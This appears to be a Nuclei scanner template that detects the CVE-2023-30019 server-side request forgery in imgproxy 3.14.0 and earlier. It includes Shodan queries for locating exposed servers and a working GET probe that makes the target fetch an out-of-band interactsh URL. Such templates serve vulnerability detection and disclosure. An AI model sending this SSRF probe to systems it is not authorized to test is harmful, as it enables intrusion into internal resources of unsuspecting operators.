id: CVE-2023-30019

info:
  name: Imgproxy <= 3.14.0 - Server-side request forgery (SSRF)
  author: DhiyaneshDK
  severity: medium
  description: |
    imgproxy <=3.14.0 is vulnerable to Server-Side Request Forgery (SSRF) due to a lack of sanitization of the imageURL parameter.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, data leakage, and potential remote code execution.
  remediation: |
    Upgrade to a version of Imgproxy that is not affected by this vulnerability.
  reference:
    - https://breakandpray.com/cve-2023-30019-ssrf-in-imgproxy/
    - https://github.com/imgproxy/imgproxy
    - https://github.com/j4k0m/godkiller
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-30019
    cwe-id: CWE-918
    epss-score: 0.70624
    epss-percentile: 0.98718
    cpe: cpe:2.3:a:evilmartians:imgproxy:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: evilmartians
    product: imgproxy
    shodan-query:
      - "Server: imgproxy"
      - "server: imgproxy"
  tags: cve,cve2023,imgproxy,ssrf,oast,evilmartians,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/111/rs:fit:400:400:0:0/plain/http://{{interactsh-url}}"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - Invalid source image

      - type: status
        status:
          - 422
# digest: 4b0a00483046022100f2876fc726f98486d4f72d226ed7622095bf5f208fe520debdaee8049dc8c3b2022100d7b755d8bf3e2798d754f115c04c6cef9ba3356d9defb872eb7ee2bd2b6ac1df:922c64590222798bb761d5b6d8e72950